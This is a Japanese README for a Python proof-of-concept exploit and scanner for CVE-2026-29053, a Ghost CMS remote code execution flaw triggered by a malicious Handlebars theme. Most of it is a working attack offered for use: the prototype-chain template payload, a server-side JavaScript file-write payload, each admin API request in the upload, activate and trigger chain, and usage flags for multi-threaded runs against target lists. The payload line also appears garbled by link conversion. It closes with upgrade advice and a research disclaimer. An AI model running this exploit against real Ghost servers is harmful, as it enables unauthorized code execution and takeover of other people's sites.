
Ghost CMS 6.19.1 未満における、悪意ある Handlebars テーマテンプレートを介した認証済み RCE、CVE-2026-29053 の Python PoC およびバージョンスキャナー。
CVE-2026-29053は、Node.js上に構築されたGhostコンテンツ管理システムに影響を与えます。バージョン0.7.2から6.19.0がこの問題の影響を受けます。悪意のあるテーマがこの脆弱性を悪用し、Ghostを実行しているサーバー上で任意のコードを実行する可能性があります。この脆弱性の深刻度は高く、CVSSスコアは7.6です。この問題はバージョン6.19.1で修正されています。この脆弱性を悪用することに成功した攻撃者は、サーバーへの不正アクセスを取得し、潜在的にそれを制御下に置くことができます。その後、このアクセスを利用してデータを操作したり、機密情報を窃取したり、その他の悪意のある活動を行う可能性があります。影響を受ける製品/サービスは、Ghostの0.7.2から6.19.0までのすべてのバージョンです。このリスクを軽減するには、ユーザーはGhostのインストールをできるだけ早くバージョン6.19.1以降に更新する必要があります。これにより、脆弱性が修正され、脅威とならなくなります。現時点で更新が困難な場合は、この脆弱性に関する新たな展開を注意深く監視し、潜在的な攻撃から保護するために必要なセキュリティ対策を適用することを推奨します。このCVEは現在、CISAのKnown Exploited Vulnerabilities (KEV) カタログに掲載されていません。つまり、脅威アクターによる活発な悪用は確認されていません。ただし、ユーザーはこの脆弱性に関連する潜在的なリスクを防ぐために、システムの更新を優先すべきです。
CVE-2026-29053 のPython PoCです。これは、細工されたテーマがテンプレートレンダリング中に任意のJavaScriptを実行できることによって引き起こされる、Ghost CMSのリモートコード実行脆弱性です。
影響を受けるバージョン: Ghost
0.7.2から6.19.0修正済み: Ghost6.19.1CWE: CWE-74 — 下流コンポーネントで使用される出力における特殊要素の中和の不備
Ghostのアドバイザリでは、この問題を悪意のあるテーマによる任意コード実行として説明しています。
GhostのテーマはHandlebarsテンプレート (.hbs) を使用します。
細工されたテンプレートは、GhostがHandlebars式を処理する方法を悪用し、通常のテーマテンプレートからは到達できないはずのJavaScript機能にアクセスする可能性があります。
エクスプロイトの重要な部分は、テンプレート式です:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
ペイロードは、悪意のあるテーマがパッケージ化される前にテンプレートに挿入されます。
生成されたテンプレートは、Ghost Admin APIを通じてアップロードされ、有効化されます。
その後Ghostが影響を受けるテンプレートをレンダリングすると、注入された式によってJavaScriptペイロードがGhostサーバープロセス内で実行されます。
PoCはまず、認証済みのGhost Adminセッションを確立します。
関連するエンドポイントは次のとおりです:
POST /ghost/api/admin/session/
PoCによって生成されるリクエストは、次と同等です:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghostは認証済みセッションCookieを返します。
PoCはHTTP 201 を確認し、その後も同じ requests.Session() オブジェクトを使用して続行します。
エクスプロイトは、最小限のGhostテーマを含むZIPアーカイブを作成します。
重要なファイルは次のとおりです:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
悪意のあるテンプレートは次に書き込まれます:
page-rce.hbs
PoCは、Pythonの zipfile モジュールを使用してアーカイブを完全にメモリ内で構築します。
生成される package.json は、アーカイブをGhostテーマとして識別します:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
テーマの脆弱な部分は、page-rce.hbs 内のHandlebars式です。
PoCは次を生成します:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% に置換されます。デフォルトのPoCは、コード実行の非破壊的な証明としてファイル書き込みペイロードを使用します。
次と同等のJavaScriptを生成します:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
これは、ペイロードがGhost Node.jsプロセス内で実行され、Node.jsの機能にアクセスできることを示しています。
PoCには、ラボ環境向けのオプションのコールバックモードも含まれています。
悪意のあるテーマが生成されると、PoCはそれを次に送信します:
POST /ghost/api/admin/themes/upload/
リクエストはマルチパートフォームのアップロードです。
概念的には:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
アーカイブには、上記の悪意のある .hbs テンプレートが含まれています。
PoCはHTTP 200 を期待し、JSONレスポンスから返されたテーマ名を抽出します。
テーマをアップロードした後、PoCは次でそれを有効化します:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
有効化エンドポイントは動的に構築されます:
/ghost/api/admin/themes/{theme_name}/activate/
GhostがHTTP 200 を返さない場合、エクスプロイトは停止します。
次にPoCは公開ページを作成します:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
コードはスラッグを使用します:
/rce/
ページが既に存在する場合、代わりに既存のページを取得しようとします。
最終的なトリガーは単純に次です:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
これにより、Ghostはアクティブなテーマをレンダリングします。
PoCは返されたHTMLを次についてチェックします:
CVE-2026-29053 trigger
page-rce.hbs がレンダリングされたことを確認するためです。
重要な違いは、攻撃者が単にHTMLをページに注入しているだけではないということです。
悪意のある入力は、Ghost Handlebarsテーマテンプレートの一部になります。
テンプレートはその後、Ghostのサーバーサイドレンダリングシステムによって解釈されます。
細工された式は、プロトタイプ/コンストラクションチェーンを通じてJavaScript機能に到達します:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
attacker-controlled JavaScript
結果として得られるJavaScriptは、Ghostサーバープロセス内で実行されます。
PoCは、Nodeの組み込み fs モジュールにアクセスし、サーバー上にファイルを書き込むことでこれを実証しています。
HTTPインタラクションをまとめると:
1. POST /ghost/api/admin/session/
└── authenticate
2. POST /ghost/api/admin/themes/upload/
└── upload malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── activate malicious theme
4. POST /ghost/api/admin/pages/
└── create /rce/
5. GET /rce/
└── render malicious page-rce.hbs
└── Handlebars expression
└── JavaScript execution
└── OS-level impact
PoCにはスキャナも含まれています。
次をリクエストします:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
レスポンスは次について解析されます:
{
"site": {
"version": "6.19.0"
}
}
次にPoCはバージョンを次と比較します:
0.7.2 <= version <= 6.19.0
そして一致するバージョンを脆弱であると報告します。
公開されたアドバイザリでは、影響を受ける範囲を >= 0.7.2, < 6.19.1 と指定し、6.19.1 を修正バージョンとしています。
python3 exploit.py --target http://TARGET
デフォルトの証明パスは次のとおりです:
/tmp/cve-2026-29053-rce.txt
これは次で変更できます:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Ghostのセットアップが既に完了している場合:
python3 exploit.py --target http://TARGET --skip-setup
認証情報は次を使用して指定できます:
--email
--password
ターゲットはファイルから指定できます:
python3 exploit.py --file targets.txt
スレッド数:
python3 exploit.py --file targets.txt --threads 25
スキャナはGhost Adminサイトエンドポイントをチェックし、報告されたGhostバージョンを脆弱な範囲と比較します。
エクスプロイトが成功すると、Ghostサーバープロセス内で任意のJavaScript実行が可能になります。
Ghostプロセスの権限と使用されるペイロードに応じて、これは次に影響を与える可能性があります:
公開されたCVEレコードでは、この問題はネットワークから到達可能であるが、高い権限とユーザーインタラクションを必要とし、スコープが変更されると評価されています。
Ghostを次にアップグレードしてください:
6.19.1+
Ghostの脆弱性アドバイザリでは、6.19.1 を修正バージョンとして特定しています。
信頼できないテーマをインストールしないでください。
このPoCは、脆弱性研究、許可されたペネトレーションテスト、および教育目的で提供されています。